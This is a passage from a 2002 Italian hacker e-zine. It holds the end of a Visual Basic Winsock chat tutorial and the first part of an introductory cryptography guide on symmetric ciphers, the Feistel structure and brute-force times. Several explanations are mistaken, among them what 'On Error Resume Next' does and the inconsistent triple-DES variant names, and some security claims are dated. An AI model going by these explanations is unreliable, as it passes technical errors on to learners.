| Private Sub TCP1_Connect() |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHost |
| End Sub |
| Mh.. Quando la connessione è avvenuta (TCP1_Connect) nella casella |
| txtip appare l'ip del computer remoto. |
| ==================================================================== |
| Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Accept requestID |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHostIP |
| End Sub |
| Già qui è la cosa è più interessante.. Allora.. |
| Quando c'è una richiesta di connessione (TCP1_ConnectionRequest) il |
| computer si comporta così: |
| La prima riga serve a dire che appena la connessione dell'altro |
| computer si chiude (TCP1.State <> sckClosed) allora la nostra |
| connessione a lui si interrompe. |
| La seconda riga setta la porta locale a 0. |
| La terza riga dice di accettare la connessione, la terza cambia lo |
| stato della label (inutile ai fini della connessione, serve solo a noi |
| per vedere meglio se la connessione è attiva o meno) e dice che la |
| casella txtip deve assumere come valore l'indirizzo Ip del pc remoto.. |
| ==================================================================== |
| Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) |
| Dim Data As String |
| On Error Resume Next |
| TCP1.GetData Data |
| txtchat = "Ricevuto:" & Data & vbCrLf & txtchat |
| End Sub |
| Questa è la procedura che il programma segue in caso di arrivo di |
| dati (TCP1_DataArrival). |
| Dim Data as String definisce i dati che arrivano (che per comodità ho |
| chiamato data) come stringhe alfanumeriche. |
| On Error Resume Next vuole dire che in caso di errore di trasmissione i |
| dati vengono spediti di nuovo. |
| TCP1.GetData Data dice che i dati ricevuti ( GetData ) dalla |
| connessione prendono il nome di data. |
| txtchat = "Ricevuto:" & Data & vbCrLf & txtchat Con questa riga di |
| comando i dati ricevuti vengono scritti nella casella txtchat preceduti |
| da Ricevuto: e seguiti dal testo già presente nella chat.. E con questo |
| ho finito. |
| ==================================================================== |
| Riepilogo delle principali funzioni di Winsock: |
| 1.- Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) |
| Indica al programma come comportarsi in caso di arrivo dati. |
| 2.- GetData |
| Funzione del Winsock che indica al programma di prendere i dati e |
| dargli un nome a scelta. |
| SINTASSI: nomeconnessione.GetData nomedeidati |
| 3.- SendData |
| Funzione del Winsock che indica al programma di spedire i dati. |
| SINTASSI: nomeconnessione.SendData nomeoggettodaspedire |
| 4.- Listen |
| Funzione del Winsock che dice al programma di mettersi in ascolto. |
| SINTASSI: nomeconnessione.Listen |
| IMPORTANTE: deve essere preceduto da LocalPort per impostare su quale |
| porta il programma deve mettersi in ascolto |
| 5.- LocalPort |
| Funzione del Winsock che imposta la porta. |
| SINTASSI: nomeconnessione.LocalPort = numeroporta |
| 6.- Connect |
| Funzione del Winsock molto importante. Tramite questa inizia |
| il collegamento. |
| SINTASSI: nomeconnessione.Connect ipacuicollegarsi, portaacuicollegarsi |
| 7.- Private Sub TCP1_Connect() |
| Indica al programma come comportarsi una volta avvenuta la connessione |
| 8.- Private Sub TCP1_Close() |
| Indica al programma come comportarsi una volta chiusa la connessione |
| 9.- Close |
| Indica al programma di chiudere la connessione |
| SINTASSI: nomeconnessione.Close |
| 10.- TCP1.Accept requestID |
| Indica al programma di accettare la connessione e l'ID che ci |
| viene assegnato. |
| 11.- State |
| Indica lo stato di connessione del programma, utile negli if. Esempio: |
| se lo stato della connessione è sconnesso allora fai x. |
| SINTASSI: nomeconnessione.State valorecheassume |
| Valore che può assumere State: |
| sckClosed Impostazione predefinita. Chiuso |
| sckOpen Aperto |
| sckListening In attesa |
| sckConnectionPending Connessione in sospeso |
| sckResolvingHost Risoluzione dell'host in corso |
| sckHostResolved Host risolto |
| sckConnecting Connessione in corso |
| sckConnected Connesso |
| sckClosing Il client sta chiudendo la connessione |
| sckError Errore |
| ==================================================================== |
| Questo gente !! Almeno per adesso. La prossima lezione vedremo come |
| creare qualche altra applicazione con il Winsock. |
| Screener_it |
| screener_it@freemail.it |
| P.s. Per chi non avesse capito bene come funziona la chat ho allegato i |
| sorgenti nel file zip winsock_e_VB.zip scritti in Vb 5.. |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| GUiDA ALLA CRiTT0GRAFiA [SonGoten] 0x12/0x23 |
+--------------------------------------------------------------------------+
| |
| Salve ragazzi! .... sono finalmente arrivato al mio |
| terzo articolone!!:D |
| Ormai l'esperienza di scrittore inizia a farsi sentire, quindi questo |
| articolo, cerchero' di strutturarlo in modo piu' ordinato, seguendo un |
| "indice" e creando vari paragrafi.... |
| Anche se su questo argomento ho studiato abbastanza e mi sono procurato |
| diverso materiale, la cosa non e' per niente facile! :) |
| quindi nel caso in cui facessi errori non riempitemi di insulti |
| ....grazie :D |
| |
| Bene.... fatto questo piccolo commento procederei con il solito |
| Disclaimer :) |
| |
| DISCLAIMER: Nota Bene, tutto il contenuto di questa guida deve essere |
| usato solo a titolo informativo, in quanto uno sbagliato utilizzo di |
| queste informazioni e' da ritenersi dannoso! Quindi il sottoscritto non |
| si prende nessuna responsabilita'....Se le cose spiegate qui sotto |
| verranno applicate, la persona fara' un'azione illegale e quindi ne |
| subira' le relative conseguenze!! :) |
| |
| Questo articolo, che potrei piu' definirlo una guida, cerchera' |
| di toccare tutti(per quanto mi sia possibile) gli argomenti e gli |
| aspetti della Crittografia: dalla teoria classica sulla crittografia, |
| alla sicurezza nelle reti e persino alla programmazione di un nostro |
| Cripter. :) |
| Ricordate pero' che anche dopo avere studiato questa quida non sarete |
| affatto esperti dell'argomento, ma avrete una buona "infarinatura", per |
| iniziare a studiarlo seriamente.... (nelle conclusioni vi lascio |
| qualche titolo di libro interessante). |
| |
| |
| -->{Indice}<-- |
| |
| - Introduzione (Attacchi alla sicurezza, Problematiche e Soluzioni) |
| - Crittografia Convenzionale (Basi, Algoritmi, Cifratura a Blocchi..) |
| - Crittografia a Chiave Pubblica (intro, fondamenti e algoritmi..) |
| - Firma Digitale e informazioni sui principali algoritmi |
| - Funzioni Hash (qualche concetto, MD2,MD4,MD5,SHA e SHA-1) |
| - Sistemi di Autenticazione (qualche concetto sul Kerberos ecc) |
| - Sicurezza della posta elettronica (PGP, S/MIME, ecc) |
| - Protocolli generali di Sicurezza su Internet (S-HTTP, SSL, PCT,S/WAN) |
| - Commercio Elettronico (IKP, SET, Secure Courier) |
| - Difetti e tecniche ;D (Exploit, Keyboard sniffers, TEMPEST, |
| Lettura della memoria, Lettura della cache del disco, Packet sniffers, |
| Trojan, Password) |
| - Approfondiamo il concetto di XOR :) |
| - L'algoritmo DES in modo piu' o meno dettagliato... |
| - Creazione di un nostro Cripter (sorgente in Turbo Pascal) |
| - Conclusioni :) |
| |
| Questo e' l'indice dell'intera "opera", pero' siccome è molto |
| grossa come guida e sono venute un po' troppe pagine, per essere |
| pubblicata in un solo numero della e-zine.... ho dovuto dividerla in 3 |
| parti. |
| Infatti in questo numero saranno trattati solo i primi 3 punti. |
| |
| - Introduzione (Attacchi alla sicurezza, Problematiche e Soluzioni) |
| - Crittografia Convenzionale (Basi, Algoritmi, Cifratura a Blocchi..) |
| - Crittografia a Chiave Pubblica (intro, fondamenti e algoritmi..) |
| |
| ----------------------------------------------------------------------- |
| |
| -->{Introduzione}<-- |
| |
| In questi ultimi decenni la sicurezza delle informazioni via Internet |
| si e' fatta sempre piu' importante e indispensabile per |
| organizzazioni e governi.. |
| Il diffondersi del E-Commerce, che consente di comprare prodotti Online, |
| ha contribuito ad accelarare l'evoluzione dei sistemi di protezione e |
| quindi di Crittografia. |
| E' noto infatti come nel caso di E-Commerce (commercio elettronico) ci |
| sia una notevole quantita' di informazioni personali e private (num |
| carte di credito ecc) che non devono essere lette da nessuno! :) |
| Risaputo.. infatti come molti hacker riescono a impadronirsi di |
| informazioni riservate e quindi a compiere azioni di spionaggio |
| industriale, che potrebbe comportare il fallimento della medesima |
| societa'.... o in certi casi la lettura di informazioni riservate |
| potrebbe anche danneggiare un singolo utente. |
| E' evidente quindi, l'importanza di evitare situazioni del genere! |
| A questo proposito molte societa' si sono messe a studiare per cercare |
| di risolvere questi problemi..una soluzione e' stata appunto la |
| Crittografia delle informazioni riservate. |
| Dunque.. Cos'e' la questa Crittografia? Bene.. la crittografia è la |
| scienza che crea ed usa i sistemi di crittografia. Un sistema di |
| crittografia e' un metodo per rendere illeggibili i messaggi, in modo da |
| renderli decodificabili solo dal destinatario prestabilito. |
| I sistemi di crittografia sono chiamati anche sistemi di cifratura. |
| L' arte di scardinare i sistemi di cifratura e' chiamata crittoanalisi. |
| Quindi la scienza che studia la crittografia e la crittoanalisi e' |
| chiamata crittologia (dal greco kryptos, che significa "nascosto" e |
| logos,che significa "discorso, parola" ). |
| Il messaggio originale e' chiamato testo in chiaro, ed il messaggio |
| codificato e' detto testo cifrato. |
| Quando si codifica un messaggio, si usa una procedura (algoritmo) che lo |
| converte in testo cifrato rendendolo cosi incomprensibile. |
| Questo procedimento di codifica e' detto cifratura o encryption, mentre |
| il processo inverso che consente al destinatario di leggere il messaggio |
| e' detto decifratura oppure decryption. |
| Prima di entrare nel mondo della Crittografia, vorrei ancora fare un |
| esempio: |
| Avete credo capito che sono molte ragioni per crittografare i messaggi |
| che viaggiano sulla rete. |
| Ma siccome questo e' un punto fondamentale preferisco approndirlo. |
| Ad esempio, potresti inviare informazioni personali a qualcuno, come per |
| esempio il numero della tua carta di credito, e ovviamente vorresti |
| evitare che qualcuno (che non sia il destinatario legittimo) possa |
| leggere le tue informazioni.. Forse ti starai chiedendo come qualcuno |
| possa leggere la tua posta.... semplice, guarda l' area in testo (header |
| del email) a qualsiasi messaggio di posta elettronica. |
| Bene.. come puoi vedere, quel messaggio e' passato attraverso vari host |
| lungo la strada che ha fatto fino a te. |
| A questo punto basta considerare che qualsiasi persona che lavora in |
| quegli Host puo' leggere i tuoi messaggi!! |
| Per non parlare degli Sniffer (di cui parliamo pi avanti) !! :D |
| A questo punto si puo' addirittura dire che la posta tradizionale e' |
| piu' sicura di quella elettronica! :D Bene!! adesso che abbiamo capito |
| l'importanza della crittografia sulla rete.... |
| ..Iniziamo pure con la
crittografia! :) |
| |
| |
| -->{Crittografia Convenzionale}<-- |
| |
| La crittografia tradizionale e' basata su una chiave segreta. |
| Un mittente che vuole inviare un messaggio cifrato a qualcuno, lo cifra |
| usando una chiave segreta ed il destinatario lo decifra usando la stessa |
| chiave segreta. |
| Ovviamente, sia il mittente che il destinatario di quel messaggio devono |
| essere a conoscenza della stessa chiave segreta. Questo metodo e' detto |
| crittografia a chiave segreta o crittografia simmetrica. Il problema |
| principale e' che il mittente ed il ricevente devono accordarsi su una |
| chiave segreta comune, e devono usare una via sicura per scambiarsi |
| questa informazione. |
| Potrebbero usare un corriere fidato, il telefono oppure il mittente |
| potrebbe cifrare la chiave segreta!! Bene.. ma come puo' il mittente |
| cifrare la chiave? |
| Il ricevente non potrebbe decifrarla, perche' non conosce la chiave |
| stessa!! |
| Cosi', si potrebbe usare il sistema telefonico, certo, ma qualcuno |
| potrebbe intercettare la telefonata.... Allora si potrebbe usare un |
| corriere fidato, certo, ma il corriere potrebbe essere corrotto... |
| Per queste ragioni venne inventato un altro sistema di crittografia: il |
| sistema a chiave pubblica (chiamato anche sistema crittografico |
| asimmetrico).... ma di questo ne parleremo pi avanti! :) |
| Forse potreste trovare esagerate tutte ste preoccupazioni ma.. come si |
| dice? "Fidarsi e' bene ma non fidarsi è meglio!! :D".. |
| Un sistema di cifratura convenzionale e' costituito da 5 elementi |
| principali: Testo in Chiaro, Chiave Segreta, Algoritmo di Cifratura, |
| Testo Cifrato, Algoritmo di Decifratura.. Come ben si capisce dalla |
| parola stessa il testo in chiaro non e' altro che il documento |
| stesso che dovete crittare, mentre il testo cifrato sara' il testo che |
| e' stato "mascherato" dalla cifratura.. chi e' dunque che crea questa |
| sorta di "maschera" ?? ....appunto e' l'Algoritmo. :) |
| L'algoritmo di Cifratura effettua numerose sostituzioni |
| e trasformazioni sul testo in chiaro, rendendolo incomprensibile. |
| Mentre l'algoritmo di decifratura fara' le stesse operazioni ma in modo |
| inverso, facendo cosi' ritornare comprensibile il testo. :) |
| Sono quindi due i requisiti per avere un sistema di cifratura |
| convenzionale sicuro! |
| 1) Utilizzare un algoritmo di cifratura efficente. :) |
| 2) Assicurarsi che il mittente e il destinatario del messaggio,si siano |
| scambiati le password in modo sicuro.. :) |
| |
| Vediamo ora un modello semplificato di Cifratura Convenzionale: |
| |
| .---------. Chiave Segreta Chiave segreta .---------. |
| | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | |
| | | | Algoritmo | T.Cifrato | Algoritmo | | | |
| | in |==>>| |--->------>| |==>>| in | |
| | | | Cifratura | Trasmesso | Decifratura | | | |
| | Chiaro | |___________| |_____________| | Chiaro | |
| |_________| |_________| |
| Mittente |
| Destinatario |
| |
| Come potete vedere il Mittente critta un messaggio usando un certo |
| Algoritmo e una certa chiave segreta.. fatto cio' il messaggio viene |
| trasmesso al destinatario che usando lo stesso algoritmo matematico |
| e la stessa chiave ritrasforma il testo crittato in testo chiaro... |
| semplice vero? :) |
| |
| I sistemi crittografici sono generalmente classificati in base a tre |
| criteri: |
| 1) Il tipo di operazione utilizzate per fare diventare il testo in |
| chiaro in testo cifrato. |
| Tutti gli algoritmi di cifratura si basano su due operazioni |
| principali: la sostituzione con cui ogni elemento del testo in chiaro |
| viene trasformato in un altro elemento; la seconda operazione e' |
| detta transposizione con cui gli elementi del testo in chiaro vengono |
| riorganizzati.. |
| 2) Il numero di chiavi utilizzate: Se il mittente e il destinatario |
| utilizzano le stesse chiavi il sistema e' detto Simmetrico (appunto |
| un sistema convenzionale) ...mentre se le chiavi sono differenti si |
| parla di un sistema Asimmetrico (a chiave pubblica). |
| 3) Il modo in cui il testo in chiaro viene elaborato e trasformato in |
| testo cifrato. Esistono infatti un cifrario a blocchi detto anche |
| block cipher, che quando gli viene fornito un blocco elabora un |
| blocco alla volta, producendo in uscita un blocco per ogni blocco |
| ricevuto in ingresso (ma di questo parleremo meglio, dopo). |
| Un cifrario a flusso detto anche stream cipher, che elabora uno a uno |
| gli elementi dando uno per volta l'uscita (a flusso appunto). |
| |
| Ma che cos'e' dunque la crittoanalisi?? beh.... semplicemente, come ho |
| gia' accennato prima e' la scienza che studia il processo mediante il |
| quale e' possibile decifrare un testo cifrato non conoscendo la |
| chiave di decifrazione.. |
| La situazione piu' difficile sara' appunto il caso in cui l'unico |
| elemento conosciuto e' il testo cifrato e non si sa ne la chiave ne |
| l'algoritmo. |
| Il metodo principale usato dalla crittoanalisi sara' quindi quello di |
| fare un Brute Force Attack, che consistera' nel tentare tutte le |
| possibili chiavi perpotere decrittare. |
| Un elemento fondamentale che ci fa definire un algoritmo, di cifratura, |
| sicuro sara' anche la quantità di tempo che serve per renderlo |
| inefficace.. quindi il tempo che e' stato stimato per decriptare |
| il testo (senza conoscere la chiave).. Come avete sicuramente capito, un |
| algoritmo puo' essere definito sicuro se i tempi per "crackarlo" sono |
| notevolmente alti :) |
| Eccovi una tabella che da' i tempi medi richiesti per ricercare le |
| chiavi, a seconda della loro grandezza in bit: |
| (NB: il simbolo "ms" sta per Mircro Secondo) |
| |
| ._____________________________________________________________________. |
| | Dim. | Numero | Tempo a | Tempo a | |
| | Chiave | Chiavi possib. | 1 decifr/ms | 10^6 decifr/ms| |
| |=========|=================|========================|================| |
| | | | | | |
| | 32 bit | 2^32=4,3*10^9 | 2^31 ms=35,8 minuti | 2,15 millisec. | |
| | | | | | |
| | 56 bit | 2^56=7,2*10^16 | 2^55 ms=1142 anni | 10 ore | |
| | | | | | |
| | 128 bit | 2^128=3,4*10^38 | 2^127 ms=5,4*10^24 anni| 5,4*10^18 anni| |
| | | | | | |
| | 168 bit | 2^168=3,7*10^50 | 2^167 ms=5,9*10^36 anni| 5,9*10^30 anni| |
| |_________|_________________|________________________|________________| |
| |
| Come si puo' chiaramente notare, da questa semplice tabella, il tempo |
| impiegato per decifrare un testo cifrato, dipende dal numero di bit da |
| cui e' formata la chiave.. |
| |
| Praticamente tutti gli algoritmi convenzionali a blocchi, incluso il |
| DES, hanno una struttura comune, descritta per la prima volta nel 1973 |
| dallo studioso Horst Feistel (IBM). |
| L'Input che bisogna dare a questi algoritmi sara' appunto il testo in |
| chiaro e la chiave segreta che la chiameremo K.. |
| Una volta introdotto il testo in chiaro, di lunghezza 2x bit, |
| l'algoritmo divide questo blocco in 2 parti uguali che chiameremo |
| L(0) e R(0) (Dati a Left, sinistra e dati a Right, destra. Queste 2 |
| parti di testo in chiaro verrano ora sottoposte a n iterazioni e poi |
| combinate per formare cosi il blocco di testo cifrato. |
| La i-esima iterazione rivera' in ingresso le parti di testo in chiaro |
| L(i-1) e R(i-1), risultanti dall'iterazione precedente e le combinera' |
| grazie alla chiave K(i), derivata dalla chiave completa inserita |
| da noi. |
| ....ossia K. |
| Solitamente le sottochiavi K(i) che si creano a ogni nuova iterazione, |
| sono differenti l'una dalle altre e si generano a partire dalla chiave |
| principale K (inserita dal utente). |
| Queste sottochiavi sono ovviamente create da un algoritmo di |
| generazione, che le crea a partire da quella principale K. |
| Ricordate che tutte le iterazioni svolte hanno la stessa identica |
| struttura, infatti le uniche cose a cambiare sono i dati L(i-1), R(i-1) |
| (testo in chiaro in esame) e la sottochiave K(i). |
| L'algoritmo e' presso che questo: Viene effettuata una sostituzione |
| della meta' sinistra del dato in ingresso.. la quale e' effettuata |
| grazie all'applicazione di una funzione F alla meta' destra dei dati |
| in ingresso ed effettuando un OR di tipo esclusivo (ossia XOR) tra il |
| risultato della funzione e la meta' sinistra dei dati. |
| Dopo avere compiuto tutto cio' l'algoritmo compie uno scambio delle due |
| meta' (dei dati).. creando cosi il nostro bel testo cifrato! :) |
| Molto Importante ricordare! che la funzione F,di cui ho parlato un |
| attimo fa, a ogni iterazione ha la stessa identica struttura (fa le |
| stesse operazioni).... pero'!! e' può essere definita parametrica |
| rispetto alla sottochiave K(i) (generata ad ogni itereazione..). |
| Quindi anche se la F e' identica a ogni passaggio, puo' essere definita |
| diversa, in quanto le operazioni possono "cambiare" proprio perche il |
| valore di K(i) e' diverso da quello del passaggio precedente. |
| Questo e' pressochè la struttura generale di un algoritmo (Schema di |
| Feistel). |
| Questo schema, viene differenziato da alcuni parametri che |
| caretterizzano i vari algoritmi: |
| 1) Dimensione del blocco: Una maggiore dimensione del blocco delle |
| operazioni, rende l'algoritmo piu' sicuro e efficente (solitamente |
| adottato quello a 64 bit).. |
| 2) Dimensione della chiave: Come spiegato in precedenza piu' e' |
| grande la |
| chiave piu' e' sicuro l'algoritmo, pero' il tempo per cifrare il |
| testo è |
| piu' alto (ma anche quello per "crackarlo" :D) |
| 3) Numero di Iterazioni: Piu' iterazioni si fanno e' più il |
| testo cifrato |
| e' sicuro. (16 di solito). |
| 4) Algoritmo per la generazione delle sottochiavi: K(i).. piu' e' |
| complesso questo algoritmo e piu' e' difficile la crittoanalisi del |
| testo cifrato. :) |
| 5) Funzione di cifratura: Anche in questo caso piu' e' complessa e |
| più è |
| ardua la criptoanalisi :) |
| Avrete sicuramente capito, che piu complesso e' la struttura |
| del blocco, |
| algoritmo, ecc, e piu' l'intero algoritmo diventa efficace e ingrado di |
| creare testi cifrati, estremamente difficili da crittoanalizzare.. |
| Pero' e' anche vero che spesso queste operazioni devono |
| essere incorporate |
| a applicazioni e operazioni che non possono richiedere troppo tempo.... |
| Quindi, di conseguenza, la velocita' di esecuzione di un algoritmo |
| diventa spesso di primaria importanza. |
| Come vi ho gia' accennato, quasi tutti gli algoritmi conosciuti, |
| utilizzano lo schema spiegato sopra (Schema di Feistel). Il motivo di |
| questa scelta e' appunto che la sua struttura è ben definita e cio' |
| rende piu' facile determinare la robustezza di un algoritmo. |
| Infatti se non si usasse questo schema, sarebbe piu' difficile |
| individuare eventuali "punti deboli", in quanto il creatore di questo |
| ultimo farebbe piu' difficolta' a vederli. |
| |
| Facciamo ora qualche commento sui principali Algoritmi a blocchi di |
| cifratura Convenzionale: |
| Di seguito vi riporto una tabella con i dati principali di questi |
| Algoritmi. |
| |
| .___________Tabella_algoritmi_di_cifratura_convenzionale_____________. |
| |-----------.-------------.---------------.-------------.------------| |
| | | | | Operazioni | | |
| | Algoritmo | Dim. Chiave | N° iterazioni | Matematiche |Applicazioni| |
| |===========|=============|===============|=============|============| |
| | | | | XOR, | SET e | |
| | DES | 56 bit | 16 |S-box fissate| Kerberos | |
| |___________|_____________|_______________|_____________|____________| |
| | | 112 bit o | | XOR, |Key finaziar| |
| |Triplo-DES | 168 bit | 48 |S-box fissate|PGP, S/MIME | |
| |___________|_____________|_______________|_____________|____________| |
| | | | |XOR, Addizion| | |
| | IDEA | 128 bit | 8 | e Moltiplic.| PGP | |
| |___________|_____________|_______________|_____________|____________| |
| | | var. fino a | |XOR, Moltipl.| | |
| | Blowfish | 448 bit | 16 |S-box variab.| / | |
| |___________|_____________|_______________|_____________|____________| |
| | | | |Add,Sottrazio| | |
| | RC5 | var. fino a | var. fino a |XOR,Rotazione| / | |
| | | 2048 bit | 255 |S-box fissate| | |
| |___________|_____________|_______________|_____________|____________| |
| | | | |Add,Sottrazio| | |
| | CAST-128 | da 40 bit | 16 |XOR,Rotazione| PGP | |
| | | a 128 bit | |S-box fissate| | |
| |___________|_____________|_______________|_____________|____________| |
| .--------------------------------------------------------------------. |
| |
| In questa tabella ho voluto riportare, sinteticamente alcune |
| caratteristiche di alcuni, degli alrgoritmi principali.. |
| Ora commenteremo in modo molto generale, questi e molti altri algoritmi |
| a chiave privata :) |
| In un sistema a chiave segreta (o privata) si possono trovare i |
| seguenti algoritmi: DES (e sue variazioni), Triplo DES, IDEA, CAST-128 |
| SAFER, RC2, RC4, RC5, FEAL, SKIPJACK, BLOWFISH, SEAL, ecc :) |
| (Di seguito vi propporr un breve commento su ogninuo di questi |
| algoritmi, per quel che riguarda eventuali algoritmi o programmi in C |
| che vi spieghino l'algoritmo in modo dettagliato vi conisiglio di |
| andare su google e provare a cercarli visto che pieno... nel caso non |
| riusciste a trovare nessun sorgente o altro mandatemi una mail vedr se |
| posso aiutarvi....visto che qualche specifica e programmuzzo in C l'ho |
| trovato). |
| |
| *-DES-* |
| DES sta per Data Encryption Standard ed e' un cifratore a blocco |
| iterativo sviluppato alla IBM e definito dal governo degli Stati Uniti |
| come standard ufficiale nel 1977. La dimensione dei blocchi DES e' |
| di 64 bit, ed usa una chiave a 56 bit (16 cicli) durante la cifratura. |
| E' stato stimato che un computer specializzato del costo di 1 |
| milione di dollari richiede 3,5 ore per eseguire una ricerca esaustiva |
| (attacco di forza bruta). |
| Comunque non posso assicurare questa questa cifra.. del tutto, |
| poiche' la velocita' delle CPU stanno diventando sempre piu' alte (e |
| meno costose nello stesso tempo). Infatti le chiavi minori di 128 bit |
| sono considerate insicure ormai. |
| Anche se e' da tenere conto che un domani 128 bit potrebbero essere |
| insicuri.... |
| |
| *-Triplo-DES-* |
| Questo algoritmo usato solitamente per applicazioni finanziarie, |
| utilizza tre chiavi e tre esecuzioni dell'algoritmo DES.... |
| Il Triplo-DES e' una variazione del DES: proprio perchè cifra il |
| testo in chiaro 3 volte. |
| L' algoritmo triplo-DES puo' essere: DES-EEE3 (cifra-cifra-cifra), |
| DES-EDE3 (cifra-decifra-cifra), DES-EEE2 (cifra-cifra-cifra). |
| Il DES-EEE3 usa 3 differenti chiavi segrete durante la cifratura. |
| Il DES-EDE3 usa 3 differente chiavi ugualmente, ma nella sequenza |
| cifra-decifra-cifra. Il DES-EDE2 e' come il formato precedente ma usa 2 |
| chiavi diverse. G-DES e DESX sono altre variazioni del DES. |
| |
| *-IDEA-* |
| IDEA sta per International Data Encryption Algorithm. E' un cifratore a |
| blocco iterativo con chiave lunga 128 bit (8 cicli). E' considerato |
| essere immunedalla crittoanalisi differenziale e da quella lineare. |
| IDEA e' generalmenteconsiderato sicuro. |
| E riguardo gli attacchi di forza bruta? Bene.. una chiave a 128 bit |
| significa che solo una delle 2^128 combinazioni puo' essere una chiave |
| possibile. Cosi'...prova solo a calcolare 2^128. In altre parole un |
| computer capace di 1 MIPS (1 milione di istruzioni per secondo) dovrebbe |
| lavorare per anni, e tu protresti non vedere la soluzione... |
| Non confonderti con i sistemi a chiave pubblica. |
| Infatti, guarda questa tabella; mostra le equivalenze stimate tra un |
| attacco di forza bruta su chiavi segrete ed una fattorizzazione di |
| chiavi pubbliche: |
| |
| .________________________. |
| | | | |
| |Simmetrico | Asimmetrico| |
| |===========|============| |
| | | | |
| | 56 bit | 384 bit | |
| | 64 bit | 512 bit | |
| | 80 bit | 768 bit | |
| | 112 bit | 1792 bit | |
| | 128 bit | 2304 bit | |
| |___________|____________| |
| |
| Dato che IDEA e' stato uno dei primi algoritmi proposti, per la |
| sostituzione del "vecchio" DES, che utilizzasse una chiave a 128 vit e' |
| stato sottoposto a numerose analisi e fin ora sembra essere molto |
| resistente a eventuali tentativi di crittoanalisi. |
| Quindi e' spesso usato in applicazioni commerciali o viene usato come |
| una possibile alternativa in PGP |
| |
| *-CAST-128-* |
| Secondo le informazioni che sono riuscito a procurarmi, questo algo. |
| sarebbe stato sviluppato nel 1997 da Carlisle Adams e Stafford Tavares |
| della Entrust Technologies. |
| Questo, utilizza una dimensione di chiave che varia da 40 bit a 128 bit |
| con incrementi di 8 bit alla volta. |
| Questo algoritmo inizia con l'essere impegnato in molti prodotti tra |
| cui PGP, di cui parleremo piu avanti nella guida. |
| CAST usa S-box fissate, ma di dimensioni maggiori di quelle usate dal |
| DES. |
| Nella struttura di CAST, i suoi ideatori si sono preoccupati di rendere |
| le sottochiavi, il piu' possibile, resistenti agli attacchi di |
| crittoanalisi. |
| Una caratteristica di questo algoritmo e' che la sua Funzione F che |
| genera il codice, cambia a ogni iterazione rendendo l'intero algoritmo |
| piu' efficace. |
| |
| *-SAFER-* |
| La sigla SAFER sta per Secure And Fast Encryption Routine.. |
| Questo e' un cifratore a blocco sviluppato da Massey nel 1993 per la |
| Cylink Corporation. L'algoritmo usa una dimensione di blocco di 64 bit. |
| |
| *-RC2-* |
| RC2 sta per Ron Code o Rivest's Cipher. Questo e' un cifratore a blocco |
| (64 bit) sviluppato da Rivest per la RSA Data Security. |
| Usa una lunghezza di chiave variabile. Infatti puo' essere reso piu' o |
| meno sicuro del DES variando la misura della chiave. |
| L'algoritmo e' considerato circa 3 volte piu' veloce del DES. |
| |
| *-RC4-* |
| L' RC4 e' un cifratore a flusso sviluppato da Rivest per la RSA Data |
| Security. Algoritmo che sa una chiave a lunghezza variabile. |
| |
| *-RC5-* |
| L' RC5 e' un cifratore a blocco sviluppato da Ron Rivest per la RSA Data |
| Security. E' un algoritmo parametrico, infatti ha una dimensione di |
| blocco variabile, una lunghezza di chiave variabile, ed un numero di |
| iterazioni variabile. |
| L'algoritmo usa una dimensione del blocco puo' essere 32, 64 o 128 bit. |
| La dimensione della chiave puo' essere da 0 fino a 2048 bit. il |
| numero di iterazioni va da 0 a 255. |
| Le sue caratteristiche principali sono appunto: la velocita' di |
| escuzione l'adattabilita' a hardware e software, dovuta al fatto che |
| utilizza operazioni di base e molto semplici, che sono comunemente |
| disponibili e conosciute da tutti i microprocessori. |
| |
| *-FEAL-* |
| FEAL sta per Fast Encipherment Algorithm. E' un cifratore a blocco |
| sviluppato da Shimizu e Miyaguchi. Visto che furono annunciati vari |
| deboli attacchi, dovrebbe essere considerato insicuro. |
| |
| *-SKIPJACK-* |
| SKIPJACK e' l'algoritmo contenuto nel chip CLIPPER. Fu disegnato dalla |
| NSA (National Secure Agency). Usa una dimensione di blocco di 64 bit ed |
| una chiave di 80 bit. |
| Puo' essere implementato nel software, ma solo se contenuto all'interno |
| di hardware costruito da produttori autorizzati dal governo. |
| |
| *-BLOWFISH-* |
| BLOWFISH e' un cifratore a blocco iterativo sviluppato da |
| Bruce Schneier. |
| Questo algoritmo, divenne rapidamente una valida alternativa a DES. |
| Fu inizialmente progettato per essere facile da implementare e |
| per avere una elevata velocita' di esecuzione.. |
| Questo algoritmo e' molto compatto e puo' essere eseguito in uno |
| spazio di memoria inferiore a 5Kbyte. |
| Questo algoritmo e' stato considerato uno dei migliori,appartenenti alla |
| crittografia convenzionale. Solitamente e' usato in applicazioni |
| Commerciali. |
| Usa una chiave che puo' arrivare fino a 448 bit e l'algoritmo compie 16 |
| iterazioni. |
| Blowfish e' considerato uno dei migliori algoritmi di cifratura |
| convenzionale, in quanto le sottochiavi e le S-box sono prodotte da |
| applicazioni ripetute dello stesso algoritmo Blowfish, il quale modifica |
| i bit in ingresso, rendenla crittoanalisi estremamente piu' complicata. |
| |
| *-SEAL-* |
| SEAL sta per Software-optimized Encryption Algorithm. E' un cifratore a |
| flusso sviluppato da Rogaway e Coppersmith nel 1993. |
| |
| Questo e' un sommario di pressochè tutti (o quasi) gli algoritmi a |
| chiave segreta, di cui ho trovato qualche informazione.. Ricordate che |
| alcuni di questi Algoritmi sono presenti nella tabella sopra, in cui |
| potrete trovare le principali operazioni matematiche usate dal |
| Algoritmo. |
| |
| |
| -->{Crittografia a Chiave Pubblica}<-- |
| |
| Come avrete sicuramente capito.. la crittografia convenzionale puo' avere|
| dei problemi, in quanto risulta difficile fare sapera al destinatario, |
| la chiave corretta per decifrare il testo cifrato, senza rischi e senza |
| avere preoccupazioni. |
| Infatti e' noto come nel caso in cui la chiave sia una sola |
| (convenzionale) la difficolta' sta proprio nel fatto di riuscire a fare |
| sapere al mittente la chiave senza rischiare che nessuno la scopri :) |
| Per queste ragioni venne inventato un altro sistema di crittografia: il |
| sistema a chiave pubblica (chiamato anche sistema crittografico |
| Asimmetrico). |
